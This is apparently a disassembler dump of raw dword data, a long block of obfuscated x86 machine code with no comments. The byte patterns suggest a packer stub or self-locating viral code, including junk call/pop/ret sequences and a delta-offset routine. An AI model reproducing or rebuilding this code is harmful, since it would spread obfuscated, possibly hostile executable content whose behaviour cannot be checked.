		dd 4244C89h, 4244481h, 15h, 70C35141h, 958B6072h, 5E42029h
		dd 2DD8D89h, 906105E4h,	14E851h, 67730000h, 3133F817h
		dd 1618E3B6h, 0A83F9EEAh, 1148D9AAh, 11E97CA8h,	26000000h
		dd 65D40F38h, 0EE47BF45h, 0AEC7B193h, 71642F74h, 66505E5Fh
		dd 90F24DBEh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	0A5C35545h, 6A006AC7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0F677C353h,	0FD8AB80h
		dd 6AFFBFh, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ch,	0D1C35040h, 9423EF63h, 1317C8B6h, 100D8531h, 8D8905E4h
		dd 5E40449h, 0C058858Dh, 83F505E7h, 6A05C0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 84A024C3h
		dd 6437EF17h, 5390FC39h, 33604BBEh, 66505E35h, 6A90F98Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 3371C351h, 33C4DFF8h, 0E41BDDBDh,	6A006A05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0D8F6C352h, 0E11F813Dh, 12E8FF06h, 6D000000h
		dd 40349AC7h, 2558671Eh
		dd 43ED76B8h, 0ED13409Fh, 5EF8533Eh, 6A006A5Eh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 1E79C356h, 896D37BEh, 95FF2D0Ah, 5E421A1h, 0F1B58B53h
		dd 5F05E419h, 9E7F9D8Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0BD8BA6C3h, 5E432D9h
		dd 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0F4A341C3h, 142D85FFh, 6A05E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 353047C3h
		dd 9BFCEE66h, 81A5BDA2h, 384C8ED6h, 0DEEE91Eh, 0E80000h
		dd 5D000000h, 0C062ED81h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0D7605EC3h, 490F63B1h
		dd 6850Fh, 8D890000h, 5E40D5Dh,	0D05BD81h, 7D005E4h, 860F0000h
		dd 151h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 16h,	0CDC35040h, 8D890167h, 5E42725h, 8959D8Bh, 6A05E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 627F69C3h, 0FFBAB51h, 58Ch, 8B665000h, 0E3815FF1h, 100h
		dd 0CEDB523h, 0DB0B05E4h, 5B850Fh, 0BD8B0000h, 5E42419h
		dd 0BDF4BD83h, 0F0005E7h, 1C84h, 7E900h, 0F9AE0000h, 0D21F5C18h
		dd 62E9C6h, 830F0000h, 5, 0DDC68166h, 0F485C70Ah, 105E7BDh
		dd 0F8000000h, 47E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0F485C78Ch, 5E7BDh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 37E3C356h, 0F0B3D3F8h, 8959D8Dh, 6A05E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 2381EEC3h, 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0D3C35141h, 0C418D14Fh, 14E9h, 0F7827100h
		dd 70A5FED7h, 355E596Ah, 63C5AF24h, 71D07543h, 0DB8C66BDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 79C35747h
		dd 0EE8C8h, 69880000h, 508C00AAh, 0E34AF79Fh, 97554CCCh
		dd 559531h, 295F05E4h, 0E422B9BDh, 4C3F605h, 41840Fh, 95FF0000h
		dd 5E41139h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0B6C35646h, 9439751h, 0D1BD8B26h, 8905E40Dh, 0E42D418Dh
		dd 0BF665005h, 489636Dh, 75B58B24h, 0E905E400h,	44Eh, 137D8529h
		dd 0B005E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	15C35545h, 57B3C8F2h, 0BD8BD2FCh, 5E41AC5h, 92EF8166h
		dd 0F970E6A7h, 11E971E4h, 0E3000000h, 0E8754B7Eh, 1F782518h
		dd 2B4B041Eh, 6883D037h, 6AD8B60Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BAE7C355h
		dd 6, 2CDD9589h, 0C38B05E4h, 21B58Bh, 0E8C105E4h, 0F98B6604h
		dd 1111BD8Bh, 0F76605E4h, 50006AE2h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0D1754A99h
		dd 4CB49D86h, 800F6D3Dh, 1, 6AD82BFCh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 6437C357h
		dd 0B12CFC39h, 555DA92Ah, 48D0FF8h, 66000000h, 507D77BFh
		dd 1A1E8BEh, 241C8977h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 9DC35141h, 0FFF5CCD2h, 0E40D05B5h, 95FFF805h
		dd 5E410C1h, 2E759589h,	0F86005E4h, 61FB8B66h, 6A00B0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 17E79C3h, 669B4188h,	66B99CBEh, 0E65460BFh, 56006A70h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 93E758C9h, 31852360h, 8905E414h, 0E41B098Dh,	71E46105h
		dd 42E78166h, 613CF5CEh, 2B4830Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0DD6E47C3h
		dd 0F706A9C5h, 0F90C27Bh, 4BBED8B6h, 0BA72C6A2h, 6, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1EC35747h, 0DACEC152h
		dd 26BF537Ch, 5F75B16Ch, 810FC38Bh, 0Ah, 295F5760h, 0E420E185h
		dd 0E8C16105h, 19953104h, 6605E41Dh, 6AE2F7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0BE7153C3h
		dd 699D31A0h, 2B05E424h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 91548D64h, 2675BD89h
		dd 958905E4h, 5E41335h,	50006A58h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 3F954C8Ch, 96DDD959h
		dd 0BE9EBh, 30680000h, 0EE3B8BCCh, 0D115117Fh, 0FD82B26h
		dd 1AD88h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 94AB6C46h, 0A47C0A5Eh, 0BF662BC7h
		dd 880FF77Dh, 0
aF_3		db 'f╬цр╧',7,0
		align 4
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8BDA8EE9h, 0E4100DB5h, 0C18305h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 98C35343h, 0BD8B0839h
		dd 5E43295h, 860FD93Bh,	122h, 13E8h, 9BCC2000h,	8595C52h
		dd 1ED1BD76h, 0A6A51C86h, 1BF72625h, 1CDDBD31h,	0F95F05E4h
		dd 6AD98C66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0D873C353h, 0B0467390h, 53206D6Ch
		dd 0CDB53360h, 0E805E400h, 5, 5532B6EEh, 5F615F9Dh, 0F04C1F6h
		dd 0B984h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 9AF2DFF6h, 3995FFF1h, 5B05E411h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0ADC35646h
		dd 6E8h, 0F6247600h, 5EF66F47h,	1C7DB58Bh, 0C32B05E4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2DC35242h
		dd 0D9EC8F7h, 175899C5h, 7B9BD33h, 343D05E4h, 0F000008h
		dd 2D86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 8DB58BB6h, 0E905E42Ah, 0Ah, 1498529h
		dd 0C08B05E4h, 0C38BF38Bh, 6AD88Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 546065C3h
		dd 0F8BF0F5Ah, 152585C7h, 9DF105E4h, 0BD8B3E5Eh, 5E42551h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 29C7C4C3h, 0E42AA59Dh, 5BD8105h, 0D005E40Dh
		dd 0F000007h, 3485h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0FF87F732h, 0DC1D4981h
		dd 810F5Ch, 0FF000000h,	0E40D0585h, 5BE6605h, 5B5FFEEh
		dd 6A05E40Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0BAAAC355h, 97BF95CCh,	1481B0D1h
		dd 10C195FFh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 3E4A28C3h, 6D2E3F74h, 6640907Ah
		dd 0BD83F18Bh, 5E42671h, 0CF840F00h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 235CC350h, 8B86F233h, 0E40D21B5h, 0DDBD8305h, 5E430h
		dd 9C840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0D35230C3h, 730D342Dh, 495EBE66h
		dd 267195FFh, 0CF8105E4h, 7725AFBCh, 840FC00Bh,	62h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FBC35646h, 29392BA5h
		dd 58D0E6F1h, 4C308D8Dh, 816605E4h, 0B84068F7h,	5, 5CEFF781h
		dd 0E1FF660Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	79C35343h, 2D4971C4h, 5A82BFC2h, 0BD830AF4h, 5E41209h
		dd 7F840F00h, 0E8000005h, 9, 27192C24h,	0A37C97C4h, 6E96041h
		dd 3E000000h, 80272561h, 0EE9B2h, 71A50000h, 0C5078B78h
		dd 74168A4Bh, 0A46055D7h, 0BD835E61h, 5E430DDh,	43840F00h
		dd 6A000005h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 81D1C350h, 7DB58B2Bh, 8D05E420h
		dd 0E409098Dh, 0F1BF0F05h, 7C8401C7h, 6A44B2h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0CDF93DC3h, 0DCCDEDB0h, 181F96Ch, 1499CFCBh,	800Fh
		dd 41C70000h, 706B3404h, 44181CEh, 31D6D710h, 7E951h, 928D0000h
		dd 0EE494035h, 6A5EDDh,	4A3FDF81h, 858D6F5Ch, 5E40909h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 1FC35242h
		dd 0CF816619h, 85294DC1h, 5E42425h, 73F2BE50h, 48975A5h
		dd 0C9858924h, 0FF05E42Ah, 0E4120995h, 11E905h,	34100000h
		dd 0FC95B346h, 0DA6B19E8h, 89EF6937h, 8DED5B64h, 0E409098Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 89FA9BB4h, 0E4028DBDh, 1C705h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0FF7C355h, 9D89FEB7h, 5E41765h, 441C7h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 176EC357h, 507A1729h, 840FC00Bh, 5Fh, 4F98589h
		dd 8D8D05E4h, 5E44C30h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 80C35545h, 432EFDB2h,	23EE1A56h, 0E41665BDh
		dd 5B805h, 0B58B0000h, 5E40D29h, 10498D89h, 0E1FF05E4h
		dd 0BE960h, 24C40000h, 188F95DCh, 0B15EFD22h, 0D2816624h
		dd 8D611A86h, 0E409098Dh, 0AE805h, 1BEA0000h, 0DA0BDC52h
		dd 35DB9D57h, 2701BD89h, 0C75E05E4h, 0AA727C01h, 53006A44h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 6B3BF6B0h, 0E15668ECh, 118D899Fh, 8105E432h,	99CFCB01h
		dd 10E95314h, 25000000h, 0EA8CB289h, 0E52EA72Ch, 17644588h
		dd 5E3423CFh, 17E5BD8Bh, 41C705E4h, 78753C04h, 50006ACEh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 1DB6E394h, 5C7EE93h,	4418171h, 31D6D710h, 0AB70BE66h
		dd 12E9h, 64A6E200h, 1AD5467Eh,	0B8CBC42Bh, 0FE144D2Ch
		dd 6A33C244h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0A66C33A5h, 9529E45Eh, 5E40CCDh
		dd 2B1B58Bh, 858D05E4h,	5E40909h, 6870Fh, 0BD890000h, 5E420E1h
		dd 0FB8B6690h, 0EE850h,	20D70000h, 4580902Fh, 16A482Ch
		dd 0C6D0D4FCh, 6E9h, 2B404700h,	5F285F4Ah, 51006A90h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 207635C0h, 95FFFD94h, 5E41209h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 17C35646h, 26C7F997h, 3506001h
		dd 9098D8Dh, 1C705E4h, 0
		dd 313DBD8Bh, 41C705E4h, 4, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 66DA1897h
		dd 0C00BFE8Bh, 33840Fh,	8B600000h, 0E41345BDh, 8D8D6105h
		dd 5E44C30h, 5B8h, 0DF816600h, 0E1FFB45Fh, 14E9h, 94790500h
		dd 1FB37044h, 0C90613E3h, 340D87B5h, 0F4E831ADh, 98D8D40h
		dd 6A05E409h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0C509C355h, 2056195Dh,	8BC361B4h
		dd 0E40149BDh, 0A501C705h, 8954CA95h, 0E41B8D9Dh, 0CB018105h
		dd 661499CFh, 41C7F98Bh, 5F596904h, 6E8CEh, 52B80000h
		dd 5BA5ABEBh, 441815Eh,	31D6D710h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 77C35545h, 4F0DD866h, 0BF0F96EBh
		dd 52006AFBh, 5E616052h, 9858D5Eh, 9005E409h, 8B665250h
		dd 0BE310FF9h, 262B46CDh, 9050585Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0B4C35040h,	0CC391406h, 0D485A922h
		dd 0DFBE663Bh, 800F18h,	0FF000000h, 0E4120995h,	7FBE6605h
		dd 98D8D40h, 6A05E409h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 8275C352h, 113F9DD3h
		dd 1C7h, 8E0F0000h, 0
		dd 441C7h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0CA21C356h, 669C3CBBh,	0BD69F781h
		dd 840FC00Bh, 5Ah, 8DF3B70Fh, 0E44C308Dh, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 0FEB5D6D7h, 0FDC5E9FBh, 0BD8B9657h, 5E42D15h, 5B8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0FE1FFFAh, 0CA03F3B7h, 0FFF221E9h, 1B58BFFh
		dd 0F05E428h, 0DE81F1B7h, 59DEAE32h, 6AC18Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 867031C3h
		dd 0CB2ACB0Eh, 8BF78BB6h, 0E407C9B5h, 4EB05h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 72D9C352h, 4B53415h, 51B52358h, 5105E40Dh
		dd 2CA19D29h, 0E85E05E4h, 5, 0F07685A3h, 0C5B53347h, 5E05E42Ch
		dd 19D5858Dh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8166D5C3h, 90F9EAF6h, 905E5250h
		dd 8589006Ah, 5E420EDh,	6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 750FBFC3h, 0A7B39804h
		dd 61B5237Fh, 0BE05E41Dh, 145C3532h, 0D073858Dh, 6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0AB2206C3h, 0AE8h, 0FB36F600h, 28350AE1h, 8913F7AEh
		dd 0E411D9B5h, 0C0835E05h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 338FB6F5h
		dd 0D5D5233Eh, 7810FB7h, 52000000h, 6B205BEh, 89505E5Bh
		dd 0B58B2404h, 5E41195h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 236B10C3h, 0A98D31B0h
		dd 8905E413h, 0E41DC18Dh, 0E9006A05h, 0Ch, 207CA66Ah, 0AEC3479Ah
		dd 745B2D98h, 21A195FFh, 0BD8905E4h, 5E40F81h, 2BA9B52Bh
		dd 9D8D05E4h, 5E79E7Fh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0BCC35646h, 75231EE4h, 6E9h, 368D5E00h
		dd 0FFF1D2C0h, 53006AD3h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 5334CBA0h, 68D0Fh, 9D890000h
		dd 5E42425h, 142D85FFh,	6A05E4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0B58BE1C3h, 5E40031h
		dd 0A27E9h, 0E800h, 815D0000h, 0E7D07DEDh, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 8C8EC367h, 41E4C5E6h, 0B58B995Fh, 5E42711h, 0D05BD81h
		dd 7D005E4h, 860F0000h,	17Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 31C35242h, 5E8h, 526D3600h
		dd 8B52364Eh, 8B5E5EF7h, 0E417359Dh, 0C1B52305h, 8105E42Dh
		dd 100E3h, 2EBE6600h, 0FDB0B7Bh, 0AB85h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 7EEB9789h, 77EB7E83h, 5E9F9h, 0D69B0000h, 83B661D1h
		dd 0E7CE7ABDh, 840F0005h, 0Bh, 9CE9h, 45B52300h, 0C705E420h
		dd 0E7CE7A85h, 105h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0CE7F25A9h, 67E9E8h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E8DD48C3h, 9, 0EFF2B25Fh, 76588218h, 5F51604Dh, 31198D8Bh
		dd 5E6105E4h, 0CE7A85C7h, 5E7h,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 42B736C3h
		dd 66E4C4A6h, 0EFE68166h, 359D8DB0h, 6A05E417h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 4859C356h, 89465A91h, 0B1F6811Dh, 817B339Ch,	0FFFEFF23h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0F1B58943h, 6605E424h, 6ADB8Ch, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 580AD2C3h, 387EFEEEh, 0ADB58B37h, 6605E422h,	0F62FDEBEh
		dd 840F04C3h, 64h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 19C35747h, 85671DBh, 0D21DC681h, 95FF5D97h
		dd 5E41139h, 2F1B503h, 895005E4h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 5DCC62C3h
		dd 991CBA5Ah, 810Fh, 8C0F0000h,	0
		dd 43BE9h, 0B0F28B00h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 758D29CDh, 0E605E400h
		dd 57006A70h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 71E4207Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0DDC35141h, 0B58BA7ABh, 5E424C5h, 6AD8B60Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0AFFFC356h, 6D4DA76h, 153DB58Bh, 6BA05E4h
		dd 89000000h, 0E41C718Dh, 0E8C38B05h, 10h, 77873FE3h, 0C1997C75h
		dd 2F7387CBh, 3F4B582Dh, 2175B58Bh, 0C15E05E4h,	60F804E8h
		dd 31AD8D89h, 0BE805E4h, 0EF000000h, 0F0DEBC1Ch, 0B3E37Fh
		dd 0D18B737Fh, 0F766615Bh, 52006AE2h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 1BBEEBABh
		dd 0F6C81D4h, 0D82BF6B7h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 6EC35141h, 0DF157FD2h, 9BA7CFDBh, 10E8h
		dd 0BEE62700h, 0B780124Fh, 717CC5Ch, 9AD8CD11h,	81665E4Fh
		dd 93642DCEh, 52505250h, 8E9h, 0E1CB9B00h, 8F94FA7Ah, 0E8310F21h
		dd 5, 473FA352h, 585A5E6Eh, 8B66310Fh, 50585AF2h, 6A93F28Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 9B0CC357h, 8DFFA392h, 5E8h, 6E8A5300h, 0B52906EAh
		dd 5E41D99h, 6D85895Eh,	0FF05E42Eh, 0E40D05B5h,	0C195FF05h
		dd 8105E410h, 0E54B6FC6h, 6A00B06Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4F42C352h
		dd 7F8448F6h, 8B39B6D7h, 0BE70E6F1h, 7DD4A790h,	6A71E4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0AA461C3h, 0FA184FAh, 581h, 0CE816600h, 0D6BEA6D4h
		dd 3C6DF8F9h, 15830F61h, 6A000002h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 615CC352h
		dd 0B60FF5DBh, 0B4B960D8h, 610C69F9h, 6BAh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 7656E725h, 0AFDB683h, 0B52B3E59h, 5E41D75h, 6AC38Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0BFD70EC3h, 85AE46B9h, 16A5B52Bh, 0E8C105E4h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 12E9D5h, 586C0000h, 0CE4D0EB0h, 0F54E830Eh, 22D4C6CEh
		dd 208DF821h, 9E8h, 40B71400h, 0A64F72BBh, 29518A4Fh, 0E421ADB5h
		dd 665E5E05h, 8B66E2F7h, 58D82BF2h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0B6C35242h,	0EA1618E3h, 0AAA83F9Eh
		dd 5880FD9h, 0BE000000h, 7E64BA65h, 880FD82Bh, 104h, 7B9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0E850D87Ah, 5, 18F744Eh,	835E5E2Fh, 7E900C1h
		dd 3F000000h, 1FF4F5ACh, 0D93B313Ah, 0BE860Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 92CE09C3h, 0C9B58B38h, 6605E414h, 810FF28Bh,	14h, 9E860h
		dd 2E2B0000h, 368D5EA1h, 5AF1D2C0h, 61F3B70Fh, 89D98C66h
		dd 0E424719Dh, 4C1F605h, 63840Fh, 0F38B0000h, 113995FFh
		dd 0E95B05E4h, 0Fh, 30B78440h, 2A5D9C45h, 3263FE6Dh, 2BDC4400h
		dd 19BD89C3h, 3D05E417h, 834h, 33860Fh,	9D090000h, 5E41969h
		dd 2FE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 17CBD23h,	8BFB761Eh, 0E42D01B5h
		dd 0BEC08B05h, 1CC4D328h, 0D88BC38Bh, 9E9h, 717E6900h
		dd 96037DE3h, 85C71941h, 5E40895h, 51165B1Bh, 75850360h
		dd 0BB05E400h, 22A547B1h, 0FC08B61h, 0B80h, 5890F00h, 0BE000000h
		dd 7ABB1708h, 0D05BD81h, 7D005E4h, 850F0000h, 29h, 0D0585FFh
		dd 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0B9631BC3h, 94F7B62h, 5B5FF4Ah, 6A05E40Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 119AC357h, 0F843FEAh, 687h, 0C5B50300h, 5105E40Ch
		dd 2D7DB529h, 0FF5E05E4h, 0E410C195h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0BAA2C674h, 89D0FD14h, 0F99CC681h, 8B900A53h, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 66DA2821h, 0BE66F18Bh, 0BD83393Ah, 5E42265h,	11840F00h
		dd 1000000h, 0E424E18Dh, 242E905h, 0D6810000h, 0FE0E198h
		dd 0B501DF8Ch, 5E403C9h, 4C7F766h, 29850F00h, 6A000002h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 2FD6C353h, 0FEB068F6h, 0BD892FC8h, 5E41789h
		dd 0BFh, 0F6BF0F00h, 0DA339D8Dh, 6A05E7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 62B562C3h
		dd 9D04981Fh, 8B9CE5BAh, 0E42B7DB5h, 52509305h,	52EFBE66h
		dd 8B66310Fh, 50585AF3h, 13E9h,	0B314B000h, 0C4A39163h
		dd 0A1E90F03h, 9AF91047h, 0F1ABF736h, 8E95193h,	5000000h
		dd 48FF7885h, 5EC18147h, 35FF64h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0E582C357h, 0B70F9614h, 0E9BD29F3h, 6405E41Ch, 2589h
		dd 0B58B0000h, 5E42ADDh, 6AC48Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0A7AA96C3h, 9E8C98Ch
		dd 5B000000h, 0A1BB256Dh, 3779A661h, 0FD5B58Bh,	665E05E4h
		dd 2D24CE81h, 0EB01CDh,	6840Fh,	85010000h, 5E42725h, 1A69B58Bh
		dd 0B58B05E4h, 5E429A1h, 1E15B58Bh, 8F6405E4h, 5, 4C48300h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 6EC35040h
		dd 0FC00B59h, 0C784h, 0B8B0F00h, 0E9000000h, 6,	35D3FAD3h
		dd 0BD8DDF07h, 5E44C30h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0C0C35343h, 3497ACC1h, 0E861C18Fh, 9
		dd 22A780A2h, 54680A82h, 0B5B52382h, 5E05E42Ch,	6840Fh
		dd 0DE810000h, 43DCCDD3h, 5B8h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0BA2DF1FEh
		dd 0F28BE7FFh, 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h
		dd 0B08389C8h, 83000000h, 0B883h, 335F0200h, 6AC3C0h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0BED8D1C3h, 6AC423CEh, 0FAE9CA2Bh, 6AFFFFF5h, 3E85100h
